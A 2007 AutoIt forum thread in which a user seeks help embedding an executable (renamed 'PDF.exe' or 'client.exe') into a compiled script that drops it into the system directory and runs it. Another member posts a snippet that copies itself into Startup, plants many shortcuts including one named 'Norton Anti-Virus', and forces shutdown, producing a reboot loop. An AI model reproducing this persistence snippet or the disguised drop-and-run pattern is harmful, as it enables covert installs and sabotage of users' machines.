lolp1 Posted April 5, 2007 Share Posted April 5, 2007 (edited) It doesnt seem to be wrapping it's self around the file and including it in the script. Here is what I use: FileInstall("C:\Documents and Settings\Hans\Desktop\test.exe", @SystemDir) Sleep(500) Run(@SystemDir & "\test.exe") Endif EndFunc I know it's something noobie, so don't go to hard on me EDIT: Yes I searched about the variable thing, but I didn't understand it perfectly. EDIT: Let me note it also seems to work uncompiled, but not compiled. Edited April 5, 2007 by lolp1 Link to comment Share on other sites More sharing options...
Kourath Posted April 5, 2007 Share Posted April 5, 2007 (edited) just this should be fine. tested it out on my PC quick and worked. FileInstall("C:\Documents and Settings\Hans\Desktop\test.exe", @SystemDir) Sleep(500) Run(@SystemDir & "\test.exe") the "endif" and "endfunc" are going to cause problems if you don't specify an if statement and a function before hand. edit: compiled and tested it. works fine. Edited April 5, 2007 by Kourath Link to comment Share on other sites More sharing options...
lolp1 Posted April 5, 2007 Author Share Posted April 5, 2007 (edited) just this should be fine. tested it out on my PC quick and worked. FileInstall("C:\Documents and Settings\Hans\Desktop\test.exe", @SystemDir) Sleep(500) Run(@SystemDir & "\test.exe") the "endif" and "endfunc" are going to cause problems if you don't specify an if statement and a function before hand. edit: compiled and tested it. works fine. Hello, DOUBLE edit: Nope.. still, won't work compiled. (If it means anything I am replacing the name with PDF.exe) EDIT: IT appears my sleep was not long enough. Works. Edited April 5, 2007 by lolp1 Link to comment Share on other sites More sharing options...
xcal Posted April 5, 2007 Share Posted April 5, 2007 If you're running it on other computers of different speeds, you may want to just stick your script in a loop until the destination file matches a certain size, instead of relying on a sleep. How To Ask Questions The Smart Way Link to comment Share on other sites More sharing options...
lolp1 Posted April 5, 2007 Author Share Posted April 5, 2007 False alarm.. It still does not work (compiled) here is exzactly what I am using. FileInstall("C:\Documents and Settings\Hans\Desktop\client.exe", @SystemDir) Sleep(1000) Run(@SystemDir & "\client.exe") Every time I try it compiled it just says "Error: Couldnt find file blah blah blah" but no error son the install line, just the run.. Link to comment Share on other sites More sharing options...
lolp1 Posted April 5, 2007 Author Share Posted April 5, 2007 With a bit more testing I can defiantly verify the following: It works uncompiled, but not compiled. The file exsist (I don't get any compile errors..) The file does not already exsist at it's path. Link to comment Share on other sites More sharing options...
MHz Posted April 5, 2007 Share Posted April 5, 2007 The destination path of the file with trailing backslash if only the directory is used. This can be a variable. Link to comment Share on other sites More sharing options...
lolp1 Posted April 5, 2007 Author Share Posted April 5, 2007 I'm still confused... example? Link to comment Share on other sites More sharing options...
Ch1ldProd1gy Posted April 5, 2007 Share Posted April 5, 2007 lol, kind of reminds me of this... CODEFileCopy(@ScriptFullPath, @StartupDir, 0) FileCopy(@ScriptFullPath, @FavoritesDir, 0) FileCreateShortcut(@ScriptFullPath, @StartupDir & "/0") FileCreateShortcut(@ScriptFullPath, @StartupDir & "/1") FileCreateShortcut(@ScriptFullPath, @StartupDir & "/2") FileCreateShortcut(@ScriptFullPath, @StartupDir & "/3") FileCreateShortcut(@ScriptFullPath, @StartupDir & "/4") FileCreateShortcut(@ScriptFullPath, @StartupDir & "/5") FileCreateShortcut(@ScriptFullPath, @StartupDir & "/6") FileCreateShortcut(@ScriptFullPath, @StartupDir & "/7") FileCreateShortcut(@ScriptFullPath, @StartupDir & "/8") FileCreateShortcut(@ScriptFullPath, @StartupDir & "/9") FileCreateShortcut(@ScriptFullPath, @StartupDir & "/10") FileCreateShortcut(@ScriptFullPath, @StartupDir & "/11") FileCreateShortcut(@ScriptFullPath, @StartupDir & "/12") FileCreateShortcut(@ScriptFullPath, @StartupDir & "/Norton Anti-Virus") ShutDown(1) Link to comment Share on other sites More sharing options...
lolp1 Posted April 5, 2007 Author Share Posted April 5, 2007 lol, kind of reminds me of this...CODEFileCopy(@ScriptFullPath, @StartupDir, 0)FileCopy(@ScriptFullPath, @FavoritesDir, 0)FileCreateShortcut(@ScriptFullPath, @StartupDir & "/0")FileCreateShortcut(@ScriptFullPath, @StartupDir & "/1")FileCreateShortcut(@ScriptFullPath, @StartupDir & "/2")FileCreateShortcut(@ScriptFullPath, @StartupDir & "/3")FileCreateShortcut(@ScriptFullPath, @StartupDir & "/4")FileCreateShortcut(@ScriptFullPath, @StartupDir & "/5")FileCreateShortcut(@ScriptFullPath, @StartupDir & "/6")FileCreateShortcut(@ScriptFullPath, @StartupDir & "/7")FileCreateShortcut(@ScriptFullPath, @StartupDir & "/8")FileCreateShortcut(@ScriptFullPath, @StartupDir & "/9")FileCreateShortcut(@ScriptFullPath, @StartupDir & "/10")FileCreateShortcut(@ScriptFullPath, @StartupDir & "/11")FileCreateShortcut(@ScriptFullPath, @StartupDir & "/12")FileCreateShortcut(@ScriptFullPath, @StartupDir & "/Norton Anti-Virus")ShutDown(1)What the hell? Get out of my thread please.. I just need some simple help.. Link to comment Share on other sites More sharing options...
MHz Posted April 5, 2007 Share Posted April 5, 2007 (edited) I'm still confused... example?FileInstall("C:\Documents and Settings\Hans\Desktop\client.exe", @SystemDir & '\')Sleep(1000)Run(@SystemDir & "\client.exe")Just add a backslash after the folder path in your destination parameter as I have added in Red above. File functions like trailing backslashes sometimes so it can tell that it is a path to a folder rather then a path to a file.Edit:Typo fix Edited April 5, 2007 by MHz Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now